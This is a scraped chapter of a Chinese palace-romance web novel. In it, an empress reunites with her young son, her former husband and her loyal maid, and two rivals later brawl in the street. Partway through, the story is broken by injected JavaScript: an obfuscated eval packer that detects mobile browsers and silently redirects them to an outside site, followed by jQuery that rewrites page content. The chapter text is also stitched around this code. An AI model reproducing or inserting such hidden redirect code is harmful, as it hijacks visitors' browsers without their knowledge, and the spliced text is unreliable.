156. 第 156 章
作品:《前夫打架我登基》 傅明洲作为一个五岁的孩童,灵星抱在怀里有些吃力,傅峥见状,道:“自己下来走路”
傅明洲扭头便哭,“娘亲”
灵星心疼得不得了,没理会傅峥,紧紧抱着儿子走向宁和宫。
兰若亦步亦趋跟在灵星身后,把傅峥都挤开了。
傅峥不敢怒也不敢言,默默跟在后方。
到了宁和宫,哭得抽搭搭的傅明州被陌生的屋子吸引了注意。
“娘亲,这是哪里?”
灵星抱着他坐下,一条丝帕递了过来,她抬眼看,兰若红着双眸,直直的盯着她看。
她接过丝帕给傅明洲擦眼泪,“是我的寝宫”
宫女端来茶水,兰若自然地上前要接过,把宫女吓了一跳。
“奴婢不敢”
灵星笑道:“兰若,你不用做这些”
兰若失落道:“那我干什么?殿下是不是不要我了?”
灵星失笑:“你是我的妹妹,我怎么会不要你”
傅明洲不明白什么是寝宫,一听灵星这话,问道:“那兰姑姑是我的姨母吗?”
“兰姨母,没有兰姑姑顺口”
灵星被逗笑,兰若也笑着凑上来,“世子想怎么喊便怎么喊”
傅明洲从善如流,“兰姑姑”
三人紧挨着一起互诉衷肠,说着对彼此的牵挂和思念。
“兰若,你在北境过得好不好?”
“我很好”,兰若点点头。
傅明洲:“兰姑姑骗人,娘亲,兰姑姑生了病!”
灵星顿时紧张,“何种病?”
“找太医来瞧瞧!”
兰若赶忙拦着,“殿下莫急,我病已经好了”
“得知殿下还活着,我就再也没有做过噩梦”
灵星心口一痛,她掩饰情绪,“那便好”
兰若也难受,但见灵星怀里抱着傅明洲,还是把一肚子话先忍下来。
傅明洲不喜欢悲伤的气氛,他挣扎着跳下灵星的怀抱,“娘亲,我学了功夫,我耍给你看”
说完,便在地上扎马步,摆出架子打了一套拳。
灵星忍不住夸,“真厉害”
傅明洲来了劲儿,又翻了几个跟斗,灵星眉开眼笑地鼓掌。
“我还会飞”
傅明洲话音一落,兰若来不及阻止,眼前的小孩一个猛跳蹬在桌角跃起一丈高。
然后毫无防备的摔下来,“咚”地一声屁股落地,摔在殿内厚实的地毯上。
灵星冲过去抱起儿子,“明洲,摔痛了没有?”
傅明洲笑出两颗白牙,“娘亲,我厉不厉害?”
“厉害,厉害”,灵星脸都吓白了,“来人,传御医”
兰若拆台:“世子的轻功压根儿没学会”
傅明洲扯了个鬼脸,躲在灵星怀里,突然大叫:“屁股痛!”
灵星大惊失色,着急地问宫人,“快去催太医”
宫人小跑着离开,灵星抱着儿子轻声哄,兰若提醒道:“先给世子揉一揉”
灵星正要伸手,傅明洲却不肯,“不可以看”
“怎么了?”,灵星更加担心。
“明洲昨日没有洗澡,臭”,傅明洲委屈地告状,“爹爹天天都要赶路,他不让我住客栈,我才没有洗澡”
绝对不是他邋遢。
灵星笑了笑,望向门口被晾了大半天的傅峥,傅峥脸色有几分无奈,没有辩解。
傅明洲又开始喊疼,灵星抱起他走向傅峥,“那让你爹给你看看”
傅明洲也不肯,“不要,爹爹两日都没有洗澡,更臭”
傅峥:“……”,他咬了咬后槽牙,太阳穴突突跳个不停。
灵星心中好笑又无奈,好在江渺及时出现,挽救了尴尬局面。
“陛下,出了何事?”
“江御医,我儿子摔伤了,你快给他看看”
江渺瞅着灵星怀里的娃,险些喊错名字,他反应过来,毕恭毕敬道:“微臣遵命”
灵星将傅明洲放在里面的软榻上,“让御医给你看看,可好?”
傅明洲:“御医是什么”
灵星:“就是大夫”
傅明洲:“那好吧,娘亲和兰姑姑不要看”
灵星:“好”
她与兰若走远了些,傅峥见她靠近自己,突然往旁边挪了几步。
灵星愣了愣,不明所以,她朝他走去,傅峥没再躲开。
她问道:“你这是何意?”
傅峥黑了脸,“会熏着你”
灵星后知后觉地“哦”了一声。
江渺前来禀报:“启禀陛下,小皇子身上无见血伤口,但两股摔得不轻,应以冰敷消肿后,再用药膏化淤,养上几天,才可痊愈”
灵星:“那便请江御医赶紧治伤吧”
江渺:“臣惶恐,臣这便去准备”
傅明洲在里面喊人,“娘亲!”
灵星关心的走过去,“娘亲在”
傅明洲趴在软榻上,“大夫为什么叫我小皇子?”
灵星想了想,“因为我是皇帝,你就是皇子”
傅明洲张大嘴,“哇!皇帝是不是比王爷更厉害?”
“这个嘛”,灵星挠挠手心,对上儿子崇拜期盼的目光,斩钉截铁道:“是,更厉害!”
傅明洲:“那我不要做世子了,我要做皇子”
他还朝外边喊:“爹爹,你也不要做王爷了,你做皇后吧”
整个宁和宫的侍卫太监都探头探脑,江渺拿了冰块路过,也不禁瞧傅峥一眼。
傅峥再次咬紧了后槽牙。
灵星低了低头,不知露出何种表情,只求傅明洲不要再语出惊人。
她安慰道:“明洲先把伤治好”
傅明洲:“好哦”
她来到外面,对傅峥道:“赶路劳累,先沐浴休息一番,我让宫人去准备”
傅峥无奈点头,他指着里面,“我带明洲一起,洗完再给他上药,不然他后面又要闹”
灵星:“也可”
傅峥眯着眼走进里面等了一阵后,拎起傅明洲,眼神危险。
傅明洲顿感不妙,“娘亲救我啊!”
灵星刚听见动静,眼前人影闪过,父子俩便看不见了。
兰若笑道:“殿下不必担心”
灵星看着她,“你也累了,我让人送热水来,你就在这里梳洗吧”
兰若眼含泪光,“殿下”
她摇摇头,“不对,是陛下”
灵星拉着她往里面走,“小兰若想喊什么便喊什么”
沐浴后,灵星让人拿来一套舒适的衣服给兰若换上,见兰若眼下有青影,劝道:“睡会儿”
兰若:“不想睡,想和你说话”
灵星笑了笑,带兰若到隔壁的屋子,刚让人收拾出来的卧房,“你躺着说也一样”
兰若听话地躺进被窝,睁着圆圆的眼睛,灵星笑道:“想问什么?”
兰若有很多想问,想问灵星如何活下来的,如何成了大郢的陛下,为何不回玉州把她带走。
可她话上心头,又只问:“我还能在你身边吗?”
“当然”,灵星真诚道:“兰若,你跟着我受了很多罪,以后,再也不会让你受委屈了”
“我封你做乡君,你是我妹妹,不用再辛苦”
兰若:“可我不聪明,不会做乡君,我还是想做你的侍女”
灵星叹气,“笨”
“你做乡君只需享福,比端茶倒水好了百倍千倍”
兰若沉默片刻,“那我能否既做乡君,又做你的侍女?”
灵星:“……”
“兰若,你太累了,快睡吧”
兰若眼皮开始变重,片刻后,便陷入梦乡。
灵星离开屋子回到宁和宫正殿,傅峥扛着洗干净的傅明洲朝她走开来,傅明洲见了她,瘪嘴委屈,“娘亲,爹爹揍我”
傅峥:“我没有”
灵星接过儿子,笑问:“上药了没有”
傅明洲:“上了”
灵星:“天色已晚,先吃晚膳,再好好歇息”
傅明洲打着哈欠,灵星立即让人传膳。
席间,灵星只顾着照顾儿子,倒是把傅峥忘在一边,要结束时,才发现傅峥没怎么动筷。
“不合胃口?”
傅峥:“不是,我不饿”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265496|177633||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
傅明洲张嘴想说话,被傅峥瞪一眼,又把嘴闭上。
灵星看在眼里,没有当场发问,陪傅明洲玩到天黑。
傅明洲对宫里的新环境甚是感兴趣,像个陀螺一样东看看西瞧瞧,直到力气耗尽。
灵星抱他到自己床榻上,眨眼间,他便睡着了。
她看了一会儿,想起外边还有个人。
傅峥听见脚步声,转过身看到她,压抑已久的情绪爆发,没有任何犹豫的将人抱进怀里。
宫人看过来,霍云追也从房梁上跳下,灵星抬手,“都退下”
太监宫女当即退下,霍云追挣扎片刻,冷着脸离开。
傅峥闭着眼汲取她身上的气息,“不管你变成什么样,是何种身份,你都是我傅峥的妻”
他看着她的眼睛,“你不愿跟我回玉州,那我便来郢都见你”
灵星心里震动,“你可想好了?”
“我不再只是你的妻子”
傅峥早已明白,可还是会心痛,“我知道,我接受”
比起生命中没有她,世俗陈规不值一提,况且他傅峥从来都不是被规矩束缚之人。
“我已找徐鸿非报仇,他活不了太久”
灵星脸色平静,傅峥不提,他都快忘了这人。
“我捅过他一刀,也算报复回去,你对他动手,你母亲怕是难做”
傅峥:“这些,我自会处理好”
灵星笑了笑,也是,镇北王府的琐事,已离她很遥远。
“你在郢都,可安排了住处?”
傅峥:“暂住城中驿馆”
“我父亲,过几日会到”
灵星惊讶,“他来做甚!”
傅峥:“来与你谈判”
他笑了笑,“我父亲不放心我,怕我上赶着把北境送你”
灵星:“你会吗?”
傅峥:“若是别人,绝无可能,但是你,不无可能”
灵星眼角弯弯,“你倒是比以前会说话”
傅峥语气不爽:“比不上姓萧的会说”
灵星不知如何接话,傅峥没多为难,他从怀中掏出一块宝石吊坠,“送你的东西,没有还回来的道理”
他将吊坠给她佩戴好。
灵星垂眸,宝石两侧重新镶了金珠,熠熠生辉。
傅峥的手指停留在她颈间,有些不舍,他突然注意到她衣领下的淤痕,转念一想,眼神骤冷。
他忍住,“天色不早,我先回驿馆整顿”
灵星颔首,“我派人去给你们打点食宿”
傅峥:“好”
灵星摩挲着心口的宝石,目送傅峥离去。
她静坐了一会儿,让太监去御书房搬来没处理完的奏折,专心地批阅起来。
宁和宫外,霍云追倚在门柱旁,眼看傅峥出来,转身便要进去。
身后一阵劲风袭来,他当即用轻功躲开,傅峥紧追其后,两人踩在房顶上,眼神如风霜刀剑欲除对方而后快。
御林军听见动静,正要呼救,霍云追拦住:“不得惊动陛下!”
他看着傅峥:“换个地方”
傅峥:“正有此意”
两人都跳下屋顶,若无其实地互相隔了八百里远,一前一后走远。
出了皇宫,傅峥忍无可忍,率先出招,二人在空旷的大街上打得不可开交。
带禁军巡逻的张虎路过,围观了一会儿,还起哄:“小霍,能不能赢啊,你虎哥这就来助你”
霍云追被张虎打岔,注意力漏了一丝,傅峥见机一拳打在霍云追脸上,霍云追退后几步,“你突然发什么疯!”
傅峥眼神如刀:“谁准你碰她!”
霍云追嗤笑,他眼角瞥到张虎,“昨夜她喝醉了酒,有人趁虚而入,诱拐了她”
傅峥脸色微变,他握紧拳头,“姓萧的在哪儿?”
霍云追飞身而去,傅峥跟上。
张虎看完乐子,遥望着二人消失方向,笑道:“那人是谁?竟然有这么高的武功”
手下副统领:“貌似是镇北王傅峥,属下白日里在宫门口见过一回”
张虎:“……”
“不好,快回落星园!”

